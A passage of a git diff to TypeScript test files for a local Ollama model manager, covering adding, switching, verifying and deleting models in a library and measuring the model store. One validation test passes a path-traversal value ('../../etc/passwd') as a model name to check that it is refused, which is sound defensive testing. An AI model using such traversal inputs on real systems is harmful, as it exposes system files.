expect(h.store.get().state).toBe('installed'); expect(h.store.get()).not.toHaveProperty('error'); }); @@ -1140,7 +1158,7 @@ describe('boot with a model installed', () => { message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } }, next: 'other-port', }); - expect(view.actions).toEqual(['start', 'remove']); + expect(view.actions).toEqual(['start', 'install', 'remove']); }); it('never throws, whatever the runtime does', async () => { @@ -1536,7 +1554,7 @@ describe('launchRefusal: the digest and the runtime decide whether a session sta 'The model on this Mac changed since it was installed. Remove it and install it again.' ); // And the window stops offering a session. - expect((await h.service.view()).actions).toEqual(['stop', 'remove']); + expect((await h.service.view()).actions).toEqual(['stop', 'install', 'remove']); }); it('a digest with the sha256 prefix some listings add is the same digest', async () => { @@ -1602,7 +1620,7 @@ describe('launchRefusal: the digest and the runtime decide whether a session sta it('only the model that was installed and checked may be started on the managed endpoint', async () => { const h = await installed(); expect(await h.service.launchRefusalMessage('local-ollama', 'someone-else:7b')).toBe( - 'Only Qwen3.6 35B-A3B is installed on this Mac. Remove it and install another model first.' + 'Only Qwen3.6 35B-A3B is in use on this Mac. Switch models in the local model window first.' ); }); @@ -1641,7 +1659,7 @@ describe('the runtime verbs', () => { expect(stopped.ok && stopped.view).toMatchObject({ state: 'installed', running: false, - actions: ['start', 'remove'], + actions: ['start', 'install', 'remove'], }); expect(h.supervisor.stop).toHaveBeenCalledTimes(1); expect(h.store.get().runtime?.enabled).toBe(false); @@ -1652,7 +1670,10 @@ describe('the runtime verbs', () => { expect(next.supervisor.start).not.toHaveBeenCalled(); const started = await h.service.runtime({ action: 'start' }); - expect(started.ok && started.view).toMatchObject({ running: true, actions: ['start-session', 'stop', 'remove'] }); + expect(started.ok && started.view).toMatchObject({ + running: true, + actions: ['start-session', 'stop', 'install', 'remove'], + }); expect(h.store.get().runtime?.enabled).toBe(true); }); @@ -1747,10 +1768,13 @@ describe('Remove', () => { unpackedGb: '0.6', }, folder: '/data/local-model', + library: [], + // Measured again after the Remove: the store is empty here. + store: { bytes: 0, gb: '0.0' }, actions: ['install'], }); expect(h.store.get()).toMatchObject({ schema: 1, state: 'idle' }); - for (const key of ['model', 'cli', 'runtime', 'connection', 'loaded']) + for (const key of ['model', 'cli', 'runtime', 'connection', 'loaded', 'library']) expect(h.store.get()).not.toHaveProperty(key); expect(h.deps.audit).toHaveBeenCalledWith({ admin: 'root', @@ -2342,7 +2366,7 @@ describe('an installed model whose runtime does not start', () => { h.world.startResult = { ok: false, code: 'runtime-start-failed', detail: 'spawn ENOENT' }; await h.service.boot(); const view = await h.service.view(); - expect(view).toMatchObject({ state: 'installed', running: false, actions: ['start', 'remove'] }); + expect(view).toMatchObject({ state: 'installed', running: false, actions: ['start', 'install', 'remove'] }); expect(view.error).toEqual({ code: 'runtime-start-failed', message: { text: 'The runtime did not start on this Mac.' }, @@ -2396,7 +2420,11 @@ describe('a later build with another runtime pin', () => { // The stored version stays what runs, so the next start finds it again. expect(h.store.get().runtime?.version).toBe(OLD); const view = await h.service.view(); - expect(view).toMatchObject({ state: 'installed', running: true, actions: ['start-session', 'stop', 'remove'] }); + expect(view).toMatchObject({ + state: 'installed', + running: true, + actions: ['start-session', 'stop', 'install', 'remove'], + }); expect(view.error).toBeUndefined(); // A NEW install would still download the pinned build. expect(view.runtime).toMatchObject({ version: OLLAMA_RUNTIME_PIN.version, installed: false }); @@ -2639,3 +2667,663 @@ describe('Stop and "Use another port" while live sessions use the model', () => expect(h.store.get().runtime?.port).toBe(11435); }); }); + +// ---------- The library ---------- + +const GPT = { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 131072 }; +const GPT_BYTES = 13_793_441_427; +const QWEN_ENTRY = { + id: 'qwen3.6:35b-a3b', + label: 'Qwen3.6 35B-A3B', + context: 131072, + digest: DIGEST, + bytes: PULL_BYTES, + cli: { id: 'opencode', label: 'OpenCode' }, +}; +const GPT_ENTRY = { + id: GPT.id, + label: GPT.label, + context: 65536, + digest: DIGEST, + bytes: GPT_BYTES, + cli: { id: 'opencode', label: 'OpenCode' }, +}; +/** Two checked models, the Qwen one in use. */ +const TWO_MODELS: LocalModelStateFile = { ...INSTALLED, library: [QWEN_ENTRY, GPT_ENTRY] }; +const BOTH_TAGS = [ + { name: QWEN_ENTRY.id, size: PULL_BYTES, digest: DIGEST }, + { name: GPT_ENTRY.id, size: GPT_BYTES, digest: DIGEST }, +]; +const ADD_GPT: LocalModelInstallRequest = { + modelId: GPT.id, + cli: 'opencode', + context: GPT.context, + acknowledgedBytes: GPT_BYTES + RUNTIME_BYTES, +}; + +describe('the first install starts the library', () => { + it('the model that passed its check is the one checked model, with its digest, size and coding agent', async () => { + const h = setup(); + await installAndWait(h.service); + expect(h.store.get().library).toEqual([{ ...QWEN_ENTRY, verifiedAt: new Date(1_000_000).toISOString() }]); + const view = await h.service.view(); + expect(view.library).toEqual([ + { + id: QWEN_ENTRY.id, + label: QWEN_ENTRY.label, + context: 131072, + sizeBytes: PULL_BYTES, + sizeGb: '23.1', + active: true, + verified: true, + status: 'ready', + actions: [], + }, + ]); + }); + + it('the entry is written when the check passes, before the coding agent is installed', async () => { + const h = setup({ + overrides: { + runInstallCommand: vi.fn(async () => ({ code: 1, output: 'no network\n', timedOut: false, aborted: false })), + }, + }); + await installAndWait(h.service); + expect(h.store.get()).toMatchObject({ state: 'failed', step: 'agent', library: [{ id: QWEN_ENTRY.id }] }); + // It is the model of the stopped job: Resume goes on with it, so no switch is offered. + const view = await h.service.view(); + expect(view.library.map((row) => row.actions)).toEqual([[]]); + expect(view.actions).toEqual(['resume', 'install', 'remove']); + }); + + it('a size the runtime does not report falls back to what the pull counted', async () => { + const h = setup(); + h.world.tags = []; + await installAndWait(h.service); + expect(h.store.get().library?.[0].bytes).toBe(PULL_BYTES); + }); +}); + +describe('adding a model to an installed one', () => { + it('downloads, checks and connects it, and keeps the earlier model in the library', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.calls.length = 0; + h.world.tags = BOTH_TAGS; + + const started = await h.service.install(ADD_GPT, ADMIN); + expect(started.ok && started.view.state).toBe('installing'); + await h.service.idle(); + + expect(h.calls).toEqual([ + 'ensureRuntimeInstalled', + 'supervisor.start', + 'supervisor.start', + 'pullModel', + 'supervisor.start', + 'verifyModel', + 'supervisor.start', + 'connectLocalModel', + ]); + // Nothing of the earlier model was deleted: it was checked, and it stays. + expect(h.deps.deleteModel).not.toHaveBeenCalled(); + expect(h.deps.removePartialModelBlobs).not.toHaveBeenCalled(); + // The runtime is started for the new model's context. + expect(h.supervisor.start).toHaveBeenLastCalledWith( + expect.objectContaining({ port: 11435, contextLength: 131072 }) + ); + // The one endpoint record is rewritten for the new model; it stays ours. + expect(h.deps.connectLocalModel).toHaveBeenCalledWith({ + port: 11435, + modelId: GPT.id, + context: GPT.context, + ours: true, + flagWasEnabled: false, + }); + expect(h.store.get()).toMatchObject({ + state: 'installed', + model: { id: GPT.id, context: GPT.context, digest: DIGEST }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + library: [QWEN_ENTRY, { id: GPT.id, context: GPT.context, digest: DIGEST, bytes: GPT_BYTES }], + }); + expect(h.store.get()).not.toHaveProperty('replacedModelId'); + + const view = await h.service.view(); + expect(view.model).toEqual({ id: GPT.id, label: GPT.label }); + expect(view.library.map((row) => [row.id, row.active, row.status, row.actions])).toEqual([ + [GPT.id, true, 'ready', []], + [QWEN_ENTRY.id, false, 'ready', ['use', 'delete']], + ]); + expect(view.actions).toEqual(['start-session', 'stop', 'install', 'use', 'delete-model', 'remove']); + // Only the model in use may be launched. + expect(await h.service.launchRefusalMessage('local-ollama', GPT.id)).toBeUndefined(); + expect(await h.service.launchRefusalMessage('local-ollama', QWEN_ENTRY.id)).toBe( + 'Only GPT-OSS 20B is in use on this Mac. Switch models in the local model window first.' + ); + }); + + it('is refused while live sessions use the model, before anything is asked or started', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.calls.length = 0; + const refused = await h.service.install(ADD_GPT, ADMIN, ['w1-app', 'w2-api']); + expect(refused).toMatchObject({ + ok: false, + status: 409, + conflict: { + reason: 'sessions-open', + sessions: ['w1-app', 'w2-api'], + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: 'w1-app, w2-api' } }, + }, + }); + expect(h.calls).toEqual([]); + expect(h.deps.readHardware).not.toHaveBeenCalled(); + expect(h.store.get().state).toBe('installed'); + }); + + it('a first install is not held up by sessions elsewhere: no connection of ours exists yet', async () => { + const h = setup(); + const started = await h.service.install(REQUEST, ADMIN, ['w1-app']); + expect(started.ok).toBe(true); + await h.service.cancel(); + }); + + it('the model in use at ANOTHER context is an install like any other: it is checked again at that context', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: true }); + h.deps.recommend.mockReturnValue({ + ...recommendation(true), + pick: candidate('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', 65536, PULL_BYTES, true), + }); + await h.service.boot(); + const started = await h.service.install({ ...REQUEST, context: 65536 }, ADMIN); + expect(started.ok).toBe(true); + await h.service.idle(); + expect(h.store.get()).toMatchObject({ + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', context: 65536 }, + library: [{ id: 'qwen3.6:35b-a3b', context: 65536 }], + }); + expect(h.store.get().library).toHaveLength(1); + }); + + it('a job that stops leaves the earlier model to go back to, and no session until then', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.world.tags = BOTH_TAGS; + h.deps.verifyModel.mockResolvedValueOnce({ ok: false, code: 'no-tool-call' } as never); + await h.service.install(ADD_GPT, ADMIN); + await h.service.idle(); + + expect(h.store.get()).toMatchObject({ state: 'failed', step: 'verify', model: { id: GPT.id } }); + // The endpoint record still names the earlier model, and nothing may be started on it. + expect(await h.service.launchRefusal('local-ollama')).toEqual({ + code: 'job-unfinished', + message: { text: LOCAL_MODEL_INSTALL_LABELS.errJobUnfinished }, + next: 'retry', + }); + expect(await h.service.launchRefusalMessage('local-ollama', QWEN_ENTRY.id)).toBe( + 'The model on this Mac is being changed and is not ready. Finish or undo that in the local model window first.' + ); + const view = await h.service.view(); + expect(view.actions).toEqual(['resume', 'install', 'use', 'delete-model', 'remove']); + expect(view.library.map((row) => [row.id, row.status, row.actions])).toEqual([ + [QWEN_ENTRY.id, 'ready', ['use', 'delete']], + // Downloaded and not checked: the model of the stopped job, so nothing is offered on it. + [GPT.id, 'unverified', []], + ]); + + // The way back. The model that never passed its check goes: it is what the job left behind. + h.calls.length = 0; + const back = await h.service.use({ modelId: QWEN_ENTRY.id }, ADMIN); + expect(back.ok).toBe(true); + await h.service.idle(); + expect(h.deps.deleteModel).toHaveBeenCalledWith(expect.anything(), GPT.id, expect.anything()); + expect(h.calls).toContain('removePartialModelBlobs'); + expect(h.store.get()).toMatchObject({ state: 'installed', model: { id: QWEN_ENTRY.id, digest: DIGEST } }); + expect(h.store.get()).not.toHaveProperty('replacedModelId'); + expect(h.store.get()).not.toHaveProperty('error'); + expect(await h.service.launchRefusalMessage('local-ollama', QWEN_ENTRY.id)).toBeUndefined(); + }); +}); + +describe('use: the switch to a checked model', () => { + it('loads and checks it again, connects it, and downloads nothing', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.calls.length = 0; + h.world.tags = BOTH_TAGS; + + const started = await h.service.use({ modelId: GPT.id }, ADMIN); + expect(started.ok && started.view).toMatchObject({ + state: 'installing', + step: 'verify', + steps: ['verify', 'connect'], + model: { id: GPT.id, label: GPT.label }, + context: 65536, + }); + await h.service.idle(); + + expect(h.calls).toEqual([ + 'recheckCliInstalled', + 'supervisor.start', + 'verifyModel', + 'supervisor.start', + 'connectLocalModel', + ]); + expect(h.deps.pullModel).not.toHaveBeenCalled(); + expect(h.deps.ensureRuntimeInstalled).not.toHaveBeenCalled(); + expect(h.deps.deleteModel).not.toHaveBeenCalled(); + // The runtime is restarted for the context the model was checked with. + expect(h.supervisor.start).toHaveBeenLastCalledWith(expect.objectContaining({ contextLength: 65536 })); + expect(h.deps.verifyModel).toHaveBeenCalledWith(expect.anything(), GPT.id, 65536, expect.anything()); + expect(h.deps.connectLocalModel).toHaveBeenCalledWith( + expect.objectContaining({ modelId: GPT.id, context: 65536, ours: true }) + ); + expect(h.store.get()).toMatchObject({ + state: 'installed', + model: { id: GPT.id, context: 65536, digest: DIGEST }, + cli: { id: 'opencode', label: 'OpenCode' }, + library: [QWEN_ENTRY, { id: GPT.id, digest: DIGEST }], + }); + expect(h.deps.audit).toHaveBeenCalledWith({ + admin: 'root', + action: 'local_model_use', + target: GPT.id, + ip: '127.0.0.1', + detail: { cli: 'opencode', context: 65536 }, + }); + }); + + it('is refused for a model that is not one of the checked ones, and for the one in use', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.calls.length = 0; + expect(await h.service.use({ modelId: 'someone-else:7b' }, ADMIN)).toEqual({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedNotInLibrary }, + }); + expect(await h.service.use({ modelId: QWEN_ENTRY.id }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'already-installed' }, + }); + expect(h.calls).toEqual([]); + expect(h.store.get().state).toBe('installed'); + }); + + it('is refused while live sessions use the model', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.calls.length = 0; + expect(await h.service.use({ modelId: GPT.id }, ADMIN, ['w1-app'])).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'sessions-open', sessions: ['w1-app'] }, + }); + expect(h.calls).toEqual([]); + }); + + it('is 409 wrong-state where there is nothing to switch: idle', async () => { + const h = setup(); + expect(await h.service.use({ modelId: GPT.id }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'wrong-state' }, + }); + }); + + it('a model whose digest is no longer the stored one is not loaded: model-changed, and the way back stays', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.world.tags = [BOTH_TAGS[0], { ...BOTH_TAGS[1], digest: 'ffff00000000' }]; + h.deps.readModelDigest.mockImplementation(async (_target: unknown, id: string) => + id === GPT.id ? 'ffff00000000' : DIGEST + ); + h.calls.length = 0; + await h.service.use({ modelId: GPT.id }, ADMIN); + await h.service.idle(); + + expect(h.deps.verifyModel).not.toHaveBeenCalled(); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + const view = await h.service.view(); + expect(view.state).toBe('failed'); + expect(view.error).toMatchObject({ + code: 'model-changed', + detail: 'The runtime reports another digest for the model.', + }); + expect(view.library.map((row) => [row.id, row.status, row.actions])).toEqual([ + [QWEN_ENTRY.id, 'ready', ['use', 'delete']], + [GPT.id, 'changed', []], + ]); + // The changed model stays a library entry until the person deletes it; it is never deleted as a leftover. + await h.service.use({ modelId: QWEN_ENTRY.id }, ADMIN); + await h.service.idle(); + expect(h.deps.deleteModel).not.toHaveBeenCalled(); + expect(h.store.get()).toMatchObject({ state: 'installed', model: { id: QWEN_ENTRY.id } }); + }); + + it('a model the runtime no longer lists is model-changed too, said as that', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.deps.readModelDigest.mockImplementation(async (_target: unknown, id: string) => + id === GPT.id ? undefined : DIGEST + ); + await h.service.use({ modelId: GPT.id }, ADMIN); + await h.service.idle(); + expect((await h.service.view()).error).toMatchObject({ + code: 'model-changed', + detail: 'The runtime no longer lists the model.', + }); + }); + + it('takes the coding agent the model was checked with when it is installed, else the one of the state', async () => { + const pi = { id: 'pi', label: 'Pi' }; + const state: LocalModelStateFile = { ...TWO_MODELS, library: [QWEN_ENTRY, { ...GPT_ENTRY, cli: pi }] }; + const withPi = setup({ state, runtimeOnDisk: true }); + withPi.deps.recheckCliInstalled.mockImplementation(async () => true); + await withPi.service.boot(); + await withPi.service.use({ modelId: GPT.id }, ADMIN); + await withPi.service.idle(); + expect(withPi.store.get().cli).toEqual(pi); + + const withoutPi = setup({ state, runtimeOnDisk: true }); + withoutPi.deps.recheckCliInstalled.mockImplementation((async (id: string) => id === 'opencode') as never); + await withoutPi.service.boot(); + await withoutPi.service.use({ modelId: GPT.id }, ADMIN); + await withoutPi.service.idle(); + expect(withoutPi.store.get().cli).toEqual({ id: 'opencode', label: 'OpenCode' }); + }); + + it('with no coding agent of the two installed it is refused, in one sentence, and nothing starts', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false }); + await h.service.boot(); + expect(await h.service.use({ modelId: GPT.id }, ADMIN)).toEqual({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentMissing, vars: { cli: 'OpenCode' } }, + }); + expect(h.store.get().state).toBe('installed'); + }); + + it('Cancel pauses a switch like any job, and Resume goes on with it', async () => { + const h = setup({ + state: TWO_MODELS, + runtimeOnDisk: true, + agentInstalled: true, + overrides: { + verifyModel: vi + .fn() + .mockImplementationOnce(async (_t: unknown, _id: string, _c: number, signal?: AbortSignal) => { + await untilAborted(signal); + return { ok: false as const, code: 'cancelled' as const }; + }) + .mockResolvedValue({ + ok: true as const, + loaded: { context: 65536, sizeBytes: 15_000_000_000, sizeVramBytes: 15_000_000_000 }, + }), + }, + }); + await h.service.boot(); + await h.service.use({ modelId: GPT.id }, ADMIN); + await vi.waitFor(() => expect(h.deps.verifyModel).toHaveBeenCalled()); + const paused = await h.service.cancel(); + expect(paused.ok && paused.view).toMatchObject({ state: 'paused', step: 'verify', steps: ['verify', 'connect'] }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get()).toMatchObject({ state: 'installed', model: { id: GPT.id } }); + }); +}); + +describe('deleteLibraryModel: one model out of the store', () => { + async function twoModelsRunning() { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true }); + await h.service.boot(); + h.world.tags = [...BOTH_TAGS]; + h.deps.deleteModel.mockImplementation(async (_target: unknown, id: string) => { + h.calls.push('deleteModel'); + h.world.tags = (h.world.tags ?? []).filter((tag) => tag.name !== id); + return true; + }); + h.calls.length = 0; + return h; + } + + it('deletes it through the runtime, drops its entry and writes the audit line', async () => { + const h = await twoModelsRunning(); + const result = await h.service.deleteLibraryModel({ modelId: GPT.id }, ADMIN); + expect(h.deps.deleteModel).toHaveBeenCalledTimes(1); + expect(h.deps.deleteModel).toHaveBeenCalledWith({ baseUrl: 'http://127.0.0.1:11435' }, GPT.id, expect.anything()); + expect(h.store.get().library).toEqual([QWEN_ENTRY]); + expect(h.store.get().state).toBe('installed'); + // The answer is the view after the delete: the runtime was asked again. + expect(result.ok && result.view.library.map((row) => row.id)).toEqual([QWEN_ENTRY.id]); + expect(h.deps.audit).toHaveBeenCalledWith({ + admin: 'root', + action: 'local_model_delete', + target: GPT.id, + ip: '127.0.0.1', + detail: { verified: true, bytes: GPT_BYTES }, + }); + // Nothing else of the feature was touched. + expect(h.calls).toEqual(['deleteModel']); + }); + + it('refuses the model in use: switch first, or remove', async () => { + const h = await twoModelsRunning(); + expect(await h.service.deleteLibraryModel({ modelId: QWEN_ENTRY.id }, ADMIN)).toEqual({ + ok: false, + status: 409, + conflict: { + reason: 'model-active', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictModelActive, vars: { model: 'Qwen3.6 35B-A3B' } }, + }, + }); + expect(h.deps.deleteModel).not.toHaveBeenCalled(); + }); + + it('refuses while the runtime is down or does not answer: only the runtime deletes a model', async () => { + const stopped = setup({ state: TWO_MODELS }); + expect(await stopped.service.deleteLibraryModel({ modelId: GPT.id }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'runtime-not-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.errRuntimeNotRunning } }, + }); + const silent = await twoModelsRunning(); + silent.deps.getRuntimeVersion.mockResolvedValue(undefined); + expect(await silent.service.deleteLibraryModel({ modelId: GPT.id }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'runtime-not-running' }, + }); + expect(silent.deps.deleteModel).not.toHaveBeenCalled(); + expect(silent.store.get().library).toHaveLength(2); + }); + + it('refuses a name that is neither a checked model nor one the runtime lists, and anything that is not name:tag', async () => { + const h = await twoModelsRunning(); + const refused = { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedNotOnThisMac } }; + expect(await h.service.deleteLibraryModel({ modelId: 'someone-else:7b' }, ADMIN)).toEqual(refused); + for (const modelId of ['../../etc/passwd', '/Users/me/models', 'hf.co/someone/model:Q4', 'NoTag', '']) { + expect(await h.service.deleteLibraryModel({ modelId }, ADMIN)).toEqual(refused); + } + expect(h.deps.deleteModel).not.toHaveBeenCalled(); + }); + + it('is 409 wrong-state in idle: there is no runtime to ask', async () => { + const h = setup(); + expect(await h.service.deleteLibraryModel({ modelId: GPT.id }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'wrong-state' }, + }); + }); + + it('a runtime that does not delete it: said as that, and the entry stays', async () => { + const h = await twoModelsRunning(); + h.deps.deleteModel.mockResolvedValue(false); + expect(await h.service.deleteLibraryModel({ modelId: GPT.id }, ADMIN)).toEqual({ + ok: false, + status: 500, + message: { text: LOCAL_MODEL_INSTALL_LABELS.deleteFailed, vars: { model: 'GPT-OSS 20B' } }, + }); + expect(h.store.get().library).toEqual([QWEN_ENTRY, GPT_ENTRY]); + expect(h.deps.audit).not.toHaveBeenCalled(); + }); + + it('a model the runtime lists and Codeman never checked can be deleted too', async () => { + const h = await twoModelsRunning(); + h.world.tags = [...BOTH_TAGS, { name: 'leftover:9b', size: 6_000_000_000, digest: 'aa' }]; + const before = await h.service.view(); + expect(before.library.find((row) => row.id === 'leftover:9b')).toMatchObject({ + status: 'unverified', + sizeGb: '6.0', + actions: ['delete'], + }); + const result = await h.service.deleteLibraryModel({ modelId: 'leftover:9b' }, ADMIN); + expect(result.ok && result.view.library.map((row) => row.id)).toEqual([QWEN_ENTRY.id, GPT.id]); + expect(h.store.get().library).toEqual([QWEN_ENTRY, GPT_ENTRY]); + expect(h.deps.audit).toHaveBeenCalledWith( + expect.objectContaining({ action: 'local_model_delete', detail: { verified: false, bytes: 6_000_000_000 } }) + ); + }); + + it('a checked model the runtime no longer lists: its entry is dropped once the runtime says it is gone', async () => { + const h = await twoModelsRunning(); + h.world.tags = [BOTH_TAGS[0]]; + const result = await h.service.deleteLibraryModel({ modelId: GPT.id }, ADMIN); + expect(result.ok).toBe(true); + // Asked of the runtime all the same: its "not found" is what says the model is gone. + expect(h.deps.deleteModel).toHaveBeenCalledWith(expect.anything(), GPT.id, expect.anything()); + expect(h.store.get().library).toEqual([QWEN_ENTRY]); + }); + + it('works from a stopped job too, for any model but the one of that job', async () => { + const state: LocalModelStateFile = { + ...jobAt('verify', 'paused'), + model: { ...GPT }, + library: [QWEN_ENTRY], + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }; + const h = setup({ state, runtimeOnDisk: true }); + h.world.running = true; + h.world.tags = BOTH_TAGS; + expect(await h.service.deleteLibraryModel({ modelId: GPT.id }, ADMIN)).toMatchObject({ + ok: false, + conflict: { reason: 'model-active' }, + }); + const result = await h.service.deleteLibraryModel({ modelId: QWEN_ENTRY.id }, ADMIN); + expect(result.ok).toBe(true); + expect(h.store.get().library).toEqual([]); + expect(h.store.get().state).toBe('paused'); + }); +}); + +describe('the model store in idle: what an earlier Remove kept', () => { + it('shows what it takes, offers Remove, and Remove with the models frees it', async () => { + const h = setup(); + h.world.storeBytes = PULL_BYTES; + const view = await h.service.view(); + expect(view).toMatchObject({ + state: 'idle', + library: [], + store: { bytes: PULL_BYTES, gb: '23.1' }, + actions: ['install', 'remove'], + }); + + h.deps.removeLocalModelFiles.mockImplementation(async () => { + h.calls.push('removeLocalModelFiles'); + h.world.storeBytes = 0; + }); + const removed = await h.service.remove({ removeModel: true }, [], ADMIN); + expect(h.deps.removeLocalModelFiles).toHaveBeenCalledWith({ models: true, paths: PATHS }); + expect(removed.ok && removed.view).toMatchObject({ + state: 'idle', + store: { bytes: 0, gb: '0.0' }, + actions: ['install'], + }); + }); + + it('Remove that keeps the models leaves them there: the next view says how much', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true }); + h.world.storeBytes = PULL_BYTES + GPT_BYTES; + const removed = await h.service.remove({}, [], ADMIN); + expect(removed.ok && removed.view).toMatchObject({ + state: 'idle', + library: [], + store: { bytes: PULL_BYTES + GPT_BYTES, gb: '36.9' }, + actions: ['install', 'remove'], + }); + expect(h.store.get()).not.toHaveProperty('library'); + }); +}); + +describe('the view does not ask the runtime or the disk on every poll', () => { + it('reads the list and the store once, then again only when they are stale', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true }); + await h.service.boot(); + h.world.tags = BOTH_TAGS; + h.deps.listTags.mockClear(); + for (let i = 0; i < 5; i++) await h.service.view(); + expect(h.deps.listTags).toHaveBeenCalledTimes(1); + expect(h.deps.measureModelStore).toHaveBeenCalledTimes(1); + + // Five seconds on: the list is read again, in the background. The view does not wait for + // a runtime that is slow to answer: it is built from the list it has. + h.world.clock += 5_000; + let answer: (tags: typeof BOTH_TAGS) => void = () => {}; + h.deps.listTags.mockImplementationOnce(() => new Promise((resolve) => (answer = resolve))); + const stale = await h.service.view(); + expect(stale.library.map((row) => row.status)).toEqual(['ready', 'ready']); + await vi.waitFor(() => expect(h.deps.listTags).toHaveBeenCalledTimes(2)); + // A second poll while that read is out starts no second one. + await h.service.view(); + expect(h.deps.listTags).toHaveBeenCalledTimes(2); + answer([BOTH_TAGS[0]]); + await vi.waitFor(async () => + expect((await h.service.view()).library.map((row) => row.status)).toEqual(['ready', 'missing']) + ); + expect(h.deps.measureModelStore).toHaveBeenCalledTimes(1); + + // Thirty seconds on: the store is measured again. + h.world.clock += 30_000; + await h.service.view(); + await vi.waitFor(() => expect(h.deps.measureModelStore).toHaveBeenCalledTimes(2)); + }); + + it('a runtime that does not answer keeps the last list: no model reads as missing for a moment', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true }); + await h.service.boot(); + h.world.tags = BOTH_TAGS; + await h.service.view(); + h.deps.getRuntimeVersion.mockResolvedValue(undefined); + h.deps.listTags.mockClear(); + h.world.clock += 5_000; + await h.service.view(); + await new Promise((resolve) => setTimeout(resolve, 20)); + expect(h.deps.listTags).not.toHaveBeenCalled(); + expect((await h.service.view()).library.map((row) => row.status)).toEqual(['ready', 'ready']); + }); + + it('a stopped runtime is not asked at all, and offers no delete', async () => { + const h = setup({ state: { ...TWO_MODELS, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + await h.service.boot(); + const view = await h.service.view(); + expect(h.deps.listTags).not.toHaveBeenCalled(); + expect(view.library.map((row) => [row.id, row.sizeGb, row.actions])).toEqual([ + [QWEN_ENTRY.id, '23.1', []], + [GPT.id, '13.8', ['use']], + ]); + }); + + it('a listing or a measurement that fails is not an error of the view', async () => { + const h = setup({ state: TWO_MODELS, runtimeOnDisk: true }); + await h.service.boot(); + h.deps.listTags.mockRejectedValue(new Error('socket hang up')); + h.deps.measureModelStore.mockRejectedValue(new Error('EIO')); + const view = await h.service.view(); + expect(view.state).toBe('installed'); + expect(view).not.toHaveProperty('store'); + expect(view.library.map((row) => row.id)).toEqual([QWEN_ENTRY.id, GPT.id]); + }); +}); diff --git a/test/local-model-runtime.test.ts b/test/local-model-runtime.test.ts index 46c689082..d5925475c 100644 --- a/test/local-model-runtime.test.ts +++ b/test/local-model-runtime.test.ts @@ -37,6 +37,7 @@ import { OLLAMA_RUNTIME_PIN, parseInferenceComputeTotal, removeLocalModelFiles, + measureModelStore, removePartialModelBlobs, RUNTIME_CTX_CHECKPOINTS, RUNTIME_DOWNLOAD_RETRIES, @@ -1103,3 +1104,56 @@ describe('removePartialModelBlobs', () => { expect(existsSync(join(outside, 'sha256-eee-partial'))).toBe(true); }); }); + +describe('measureModelStore', () => { + const blob = (name: string): string => join(paths.modelsDir, 'blobs', name); + + it('is the sizes of the files in the blob folder, a download that was interrupted included', async () => { + await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true }); + await mkdir(join(paths.modelsDir, 'manifests', 'registry.ollama.ai'), { recursive: true }); + await writeFile(blob('sha256-aaa'), 'x'.repeat(1000)); + await writeFile(blob('sha256-bbb'), 'y'.repeat(250)); + await writeFile(blob('sha256-ccc-partial'), 'z'.repeat(40)); + // The manifests are a few kilobytes beside gigabytes of layers: left out. + await writeFile(join(paths.modelsDir, 'manifests', 'registry.ollama.ai', 'latest'), '{"layers":[]}'); + expect(await measureModelStore(paths)).toBe(1290); + }); + + it('is 0 without a model store, without a blob folder and for an empty one, and never throws', async () => { + expect(await measureModelStore(paths)).toBe(0); + await mkdir(paths.modelsDir, { recursive: true }); + expect(await measureModelStore(paths)).toBe(0); + await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true }); + expect(await measureModelStore(paths)).toBe(0); + }); + + it('reads nothing and changes nothing: the store is as it was afterwards', async () => { + await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true }); + await writeFile(blob('sha256-aaa'), 'weights'); + await writeFile(blob('sha256-bbb-partial'), 'half'); + await measureModelStore(paths); + expect(await readFile(blob('sha256-aaa'), 'utf8')).toBe('weights'); + expect(await readFile(blob('sha256-bbb-partial'), 'utf8')).toBe('half'); + }); + + it('counts only regular files directly in the blob folder, and follows no link', async () => { + const outside = await outsideDir(); + await 